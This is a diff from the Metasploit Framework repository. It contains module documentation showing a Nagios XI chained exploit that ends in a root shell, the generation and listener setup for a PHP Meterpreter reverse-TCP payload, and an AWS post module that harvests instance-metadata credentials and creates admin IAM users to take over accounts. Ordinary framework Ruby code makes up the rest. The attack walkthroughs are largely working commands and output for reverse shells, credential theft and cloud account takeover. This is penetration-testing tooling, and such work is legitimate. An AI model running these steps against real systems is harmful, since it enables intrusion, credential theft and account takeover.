+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| 2 | admin2 | admin2@admin2.com | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
...snip...
```
#### Re-target
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
```
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
USER_ID => 2
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
msf exploit(nagios_xi_chained_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Nagios XI version: 5.2.7
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip
1138255764
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
whoami
root
```
@@ -0,0 +1,154 @@
The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module _can_ be cross platform, but the target needs to be able to run php code.
## Vulnerable Application
The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.
## Deploying php/meterpreter/reverse_tcp
### Scenarios
Specific demo of using the module that might be useful in a real world scenario.
#### Generating a file with msfvenom
```
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
```
#### Starting a listener
```
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
```
## Important Basic Commands
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter
has less commands, but here's a list of all the common ones you might need:
**pwd command**
The ```pwd``` command tells you the current working directory. For example:
```
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd /Users/thecarterb/Desktop
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat /tmp/data.txt
Hello World!
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:
```
meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
[*] uploading : /tmp/data.txt -> /Users/thecarterb/Desktop
[*] uploaded : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
meterpreter >
```
**download command**
The ```download``` command allows you to download a file from the remote target to your machine.
For example:
```
meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
[*] download : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
meterpreter >
```
**search command**
The ```search``` command allows you to find files on the remote file system. For example,
this shows how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 2 results...
.\pass.txt (13 bytes)
./creds\data.txt (83 bytes)
meterpreter >
```
Without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the command allows you to search recursively.
**getuid command**
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
```
meterpreter > getuid
Server username: root
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following examples uses the command to create a text file:
```
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 73642 created.
meterpreter >
```
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
For example:
```
meterpreter > shell
Process 74513 created.
Channel 2 created.
sh-3.2#
```
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo**
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
* Computer name
* OS name
* Architecture
* Meterpreter type
## Using `post` modules
When using the PHP Meterpreter, you have the feature of using Metasploit's `post` modules on that specific session. By default, most `multi` post modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can use `osx` post modules on that session.
__Don't forget to:__
- Set the `LHOST` datastore option to the connect-back IP Address
- If you want to get multiple shells, set `ExitOnSession` to `false`
@@ -0,0 +1,284 @@
# aws_create_iam_user
aws_create_iam_user is a simple post module that can be used to take over AWS
accounts. Sure, it is fun enough to take over a single host, but you can own all
hosts in the account if you simply create an admin user.
# Background
## Instance Profiles
An Instance Profile is an AWS construct that maps a role to a host (instance).
Not all hosts have instance profiles and/or may have restricted privileges.
AWS roles are composed of policies which specify API calls that the host is
allowed to make.
## Privileges
This module depends on administrators being lazy and not using the least
privileges possible. We often see instances assigned `*.*` roles that allow
any user on the instance to make any API call including creating admin users.
When this occours, a user with long lived credentials can be created and calls
against the AWS API can be made from anywhere on the Internet. Once an account
is taken over in this manner instances can be spun up, other users can be locked
out, networks can be traversed, and many other dangeous things can happen.
Only on rare cases should hosts have the following privileges, these should be
restriced.
* iam:CreateUser
* iam:CreateGroup
* iam:PutGroupPolicy
* iam:AddUserToGroup
* iam:CreateAccessKey
This module will attempt all API calls listed above in sequence. Account takeover
may succeed even if intermediate API calls fail. E.g., we may not be able to
create a new user, but we may be able to create access keys for an existing user.
## Metadata Service
The metadata service is a mechanism the AWS hypervisor employs to pass
information down into hosts. Any AWS host can retrieve information about itself
and its environemtn by curling http://169.254.169.254/. This mechanism is also
used to pass temporary credentials to a host. This module pulls these temporary
credentials and attempts to create a user with admin privileges.
To manually check that a host has an instance profile you can simply curl the
metadata service like so:
```
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
SOME_ROLE_NAME
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
{
"Code" : "Success",
"LastUpdated" : "2016-12-07T18:36:48Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA
...
```
# Usage
aws_create_iam_user can be used to take over an AWS account given access to
a host having 1). overly permissive instance profile/role, 2). API Access keys.
Once a foothold is established, you can run the module to pull temporary
access keys from the metadata service. If this fails, search the instance for
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
`SecretAccessKey`, & `Token` (optional).
## Establish a foothold
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
foothold and launch a meterpreter session.
```
$ ./msfconsole
...
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set password some_user
password => some_user
msf exploit(sshexec) > set username some_user
username => some_user
msf exploit(sshexec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
```
We will be using session 1.
```
msf exploit(sshexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
```
## Options
By default the module will:
* create a randomly named IAM user and group
* generate API Keys and User password for after
In the event that the session'd AWS instance does not have an IAM role assigned
to it with sufficient privileges, the following options can be used to provide
specific authentication material:
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
The following options control the account that is being created:
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
* `CREATE_API`: when true, creates API keys for this user
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
```
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
```
## Abusing an Overly Permissive Instance Profile
Here we are assuming that we have taken over a host having an instance profile with
overly permissive access. Once a session is established, we can load
`aws_create_iam_user` and specify a meterpreter sesssion,
e.g., `SESSION 1` and run the exploit.
```
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit
[*] 169.254.169.254 - looking for creds...
[*] Creating user: gavgpsjXwj5HIxiz
[*] Creating group: gavgpsjXwj5HIxiz
[*] Creating group policy: gavgpsjXwj5HIxiz
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
[*] Creating API Keys for gavgpsjXwj5HIxiz
[*] Creating password for gavgpsjXwj5HIxiz
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
```
If the host does not have an instance profile or the right access, the output will look like so:
```
[*] 169.254.169.254 - looking for creds...
[*] Creating user: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
[*] Creating group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
[*] Creating group policy: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
[*] Creating API Keys for 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
[*] Post module execution completed
```
## Abusing API Access Keys
In the case that the host we have taken over has no instance profile or does not
have the required privileges, we can search the host for access keys with
something like `grep -r AKIA /`. These keys may have admin privileges at which
point you own the account, if not we may be able to escalate privileges.
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
the exploit to test this possibility.
```
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > run
[*] 169.254.169.254 - looking for creds...
[*] Creating user: bZWsmzyupDWxe8CT
[*] Creating group: bZWsmzyupDWxe8CT
[*] Creating group policy: bZWsmzyupDWxe8CT
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
[*] Creating API Keys for bZWsmzyupDWxe8CT
[*] Creating password for bZWsmzyupDWxe8CT
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
[*] Post module execution completed
```
## Next Steps
Information necessary to use the created account is printed to the screen and stored in loot:
```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{
"UserName": "As56ekIV59OgoFOj",
"GroupName": "As56ekIV59OgoFOj",
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
"Password": "As56ekIV59OgoFOj",
"AccountId": "xxx"
```
These creds can be used to call the AWS API directly or you can login using the console.
Configuring the CLI:
```
$ aws configure --profile test
AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
Default region name [None]: us-west-2
Default output format [None]: json
```
Call the API, e.g., get the Account ID:
```
$ aws iam --profile test list-account-aliases
{
"AccountAliases": [
"Account_ID"
]
}
```
Login via the console using the username and password:
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
+41 -19
View File
@@ -1,7 +1,7 @@
Feature: Help command
Background:
Given I run `msfconsole --defer-module-loads -x help -x exit`
Given I run `msfconsole --defer-module-loads -q -x help -x exit`
Scenario: The 'help' command's output
Then the output should contain:
@@ -12,51 +12,73 @@ Feature: Help command
Command Description
------- -----------
? Help menu
advanced Displays advanced options for one or more modules
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
info Displays information about one or more modules
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sess Interact with a given session
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module with $VISUAL or $EDITOR
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
+180
View File
@@ -0,0 +1,180 @@
require 'openssl'
module Metasploit
module Framework
module Aws
module Client
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
include Msf::Exploit::Remote::HttpClient
# because Post modules require these to be defined when including HttpClient
def register_autofilter_ports(ports=[]); end
def register_autofilter_hosts(ports=[]); end
def register_autofilter_services(services=[]); end
def hexdigest(value)
if value.nil? || !value.instance_of?(String)
print_error "Unexpected value format"
return nil
end
digest = OpenSSL::Digest::SHA256.new
if value.respond_to?(:read)
chunk = nil
chunk_size = 1024 * 1024 # 1 megabyte
digest.update(chunk) while chunk = value.read(chunk_size)
value.rewind
else
digest.update(value)
end
digest.hexdigest
end
def hmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value)
end
def hexhmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value)
end
def request_to_sign(headers, body_digest)
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
return nil, nil
end
headers_block = headers.sort_by(&:first).map do |k, v|
v = "#{v},#{v}" if k == 'Host'
"#{k.downcase}:#{v}"
end.join("\n")
headers_list = headers.keys.sort.map(&:downcase).join(';')
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n")
[headers_list, flat_request]
end
def sign(creds, service, headers, body_digest, now)
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8])
region_mac = hmac(date_mac, datastore['Region'])
service_mac = hmac(region_mac, service)
credentials_mac = hmac(service_mac, 'aws4_request')
headers_list, flat_request = request_to_sign(headers, body_digest)
doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}"
signature = hexhmac(credentials_mac, doc)
[headers_list, signature]
end
def auth(creds, service, headers, body_digest, now)
headers_list, signature = sign(creds, service, headers, body_digest, now)
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}"
end
def body(vars_post)
pstr = ""
vars_post.each_pair do |var, val|
pstr << '&' unless pstr.empty?
pstr << var
pstr << '='
pstr << val
end
pstr
end
def headers(creds, service, body_digest, now = nil)
now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil?
headers = {
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',
'Accept-Encoding' => '',
'User-Agent' => USER_AGENT,
'X-Amz-Date' => now,
'Host' => datastore['RHOST'],
'X-Amz-Content-Sha256' => body_digest,
'Accept' => '*/*'
}
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']
auth_headers = headers.select { |k, _| sign_headers.include?(k) }
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)
headers
end
def print_hsh(hsh)
return if hsh.nil? || !hsh.instance_of?(Hash)
hsh.each do |key, value|
vprint_status "#{key}: #{value}"
end
end
def print_results(doc, action)
response = "#{action}Response"
result = "#{action}Result"
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1]
if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"]
print_error doc["ErrorResponse"]["Error"]["Message"]
return nil
end
idoc = doc.fetch(response)
if idoc.nil? || !idoc.instance_of?(Hash)
print_error "Unexpected response structure"
return {}
end
idoc = idoc[result] if idoc[result]
idoc = idoc[resource] if idoc[resource]
if idoc["member"]
idoc["member"].each do |x|
print_hsh x
end
else
print_hsh idoc
end
idoc
end
def call_api(creds, service, api_params)
vprint_status("Connecting (#{datastore['RHOST']})...")
body = body(api_params)
body_length = body.length
body_digest = hexdigest(body)
begin
res = send_request_raw(
'method' => 'POST',
'data' => body,
'headers' => headers(creds, service, body_digest)
)
if res.nil?
print_error "#{peer} did not respond"
else
Hash.from_xml(res.body)
end
rescue => e
print_error e.message
end
end
def call_iam(creds, api_params)
api_params['Version'] = '2010-05-08' unless api_params['Version']
call_api(creds, 'iam', api_params)
end
def call_ec2(creds, api_params)
api_params['Version'] = '2015-10-01' unless api_params['Version']
call_api(creds, 'ec2', api_params)
end
def call_sts(creds, api_params)
api_params['Version'] = '2011-06-15' unless api_params['Version']
call_api(creds, 'sts', api_params)
end
end
end
end
end
@@ -203,6 +203,8 @@ module Metasploit
status = case e.get_error(e.error_code)
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
Metasploit::Model::Login::Status::DENIED_ACCESS
when 'STATUS_ACCOUNT_LOCKED_OUT'
Metasploit::Model::Login::Status::LOCKED_OUT
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
Metasploit::Model::Login::Status::INCORRECT
else
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.13.2"
VERSION = "4.13.7"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_aarch64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_AARCH64
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_armbe_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ARMBE
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_mips64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_MIPS64
end
end
end
end
@@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-independent meterpreter session type
#
###
class Meterpreter_Multi < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.base_platform = 'multi'
self.base_arch = ARCH_ANY
end
def self.create_session(rstream, opts={})
# TODO: fill in more cases here
case opts[:payload_uuid].platform
when 'python'
require 'msf/base/sessions/meterpreter_python'
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
when 'java'
require 'msf/base/sessions/meterpreter_java'
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
when 'android'
require 'msf/base/sessions/meterpreter_android'
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
when 'php'
require 'msf/base/sessions/meterpreter_php'
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
when 'windows'
if opts[:payload_uuid].arch == ARCH_X86
require 'msf/base/sessions/meterpreter_x86_win'
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
end
require 'msf/base/sessions/meterpreter_x64_win'
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
end
# TODO: what should we do when we get here?
end
end
end
end
+1 -3
View File
@@ -67,9 +67,7 @@ module MeterpreterOptions
end
if session.platform == 'android'
if datastore['AutoLoadAndroid']
session.load_android
end
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc64le_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC64LE
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_zarch_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ZARCH
end
end
end
end
+22
View File
@@ -0,0 +1,22 @@
# -*- coding: binary -*-
require 'msf/core/payload/transport_config'
require 'base64'
module Msf
module Sessions
module MettleConfig
include Msf::Payload::TransportConfig
def generate_config(opts={})
transport = transport_config_reverse_tcp(opts)
opts[:uuid] ||= generate_payload_uuid
opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip
opts[:uri] ||= "#{transport[:scheme]}://#{transport[:lhost]}:#{transport[:lport]}"
opts.slice(:uuid, :uri, :debug, :log_file)
end
end
end
end
+40 -81
View File
@@ -25,11 +25,7 @@ module Msf::DBManager::ModuleCache
# @param values [Set<String>, #each] a list of strings.
# @return [Arrray<String>] strings wrapped like %<string>%
def match_values(values)
wrapped_values = values.collect { |value|
"%#{value}%"
}
wrapped_values
values.collect { |value| "%#{value}%" }
end
def module_to_details_hash(m)
@@ -200,102 +196,65 @@ module Msf::DBManager::ModuleCache
end
end
query = Mdm::Module::Detail.all
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
# passed to one call ot where.
union_conditions = []
@query = Mdm::Module::Detail.all
@archs = Set.new
@authors = Set.new
@names = Set.new
@os = Set.new
@refs = Set.new
@stances = Set.new
@text = Set.new
@types = Set.new
value_set_by_keyword.each do |keyword, value_set|
formatted_values = match_values(value_set)
case keyword
when 'author'
formatted_values = match_values(value_set)
query = query.includes(:authors).references(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
when 'name'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
when 'os', 'platform'
formatted_values = match_values(value_set)
query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:description].matches_any(formatted_values)
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
query = query.includes(:actions).references(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
query = query.includes(:archs).references(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
query = query.includes(:authors).references(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
when 'app'
formatted_values = value_set.collect { |value|
formatted_value = 'aggressive'
if value == 'client'
formatted_value = 'passive'
end
formatted_value
}
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
